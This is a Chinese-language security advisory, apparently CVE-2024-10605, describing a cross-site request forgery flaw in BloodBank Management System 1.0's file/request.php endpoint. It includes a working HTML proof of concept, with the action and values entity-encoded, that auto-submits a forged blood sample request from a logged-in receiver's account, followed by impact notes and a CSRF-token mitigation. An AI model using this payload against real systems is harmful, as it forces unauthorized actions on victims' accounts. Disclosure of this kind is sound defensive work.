受影响版本：

BloodBank 管理系统: 1.0

漏洞信息：

漏洞类型： 跨站请求伪造（CSRF）
严重性： 高
状态： 未修补

脆弱端点：

路径： file/request.php

漏洞描述：

端点 /file/request.php 存在跨站请求伪造漏洞，允许远程用户在已登录的 接收者 账户下，从所选医院的可用血液样本中发起 血液样本 请求。

成功利用可导致代表受害者执行 未授权操作。此外，可通过访问带有该载荷的恶意网站进行利用。

概念验证（PoC）：

以下是 CSRF 攻击 PoC 示例，从已登录的 接收者 账户发起 血液样本 请求：


<html>
    <head>
        <title>CSRF PoC</title>
    </head>
    <body>
        <form action="http://&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;&#46;&#108;&#111;&#99;&#97;&#108;&#47;&#98;&#108;&#111;&#111;&#100;&#98;&#97;&#110;&#107;&#47;&#102;&#105;&#108;&#101;&#47;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#112;&#104;&#112;" method="POST" enctype="application/x-www-form-urlencoded">
            <input name="&#98;&#105;&#100;" value="&#49;&#54;">
            <input name="&#104;&#105;&#100;" value="&#51;">
            <input name="&#98;&#103;" value="&#66;&#45;">
            <input name="&#114;&#101;&#113;&#117;&#101;&#115;&#116;" value="&#82;&#101;&#113;&#117;&#101;&#115;&#116;&#43;&#83;&#97;&#109;&#112;&#108;&#101;">
        </form>
        <script>
            document.querySelector("form").submit();
        </script>
    </body>
</html>

影响：

数据篡改： 攻击者可以修改向用户展示的内容。
声誉损害： 用户可能因恶意行为而对系统失去信任。

缓解建议：

使用 CSRF 令牌 实施机制以阻止跨域访问，或在请求中加入 csrf tokens

CVE-2024-10605

最受欢迎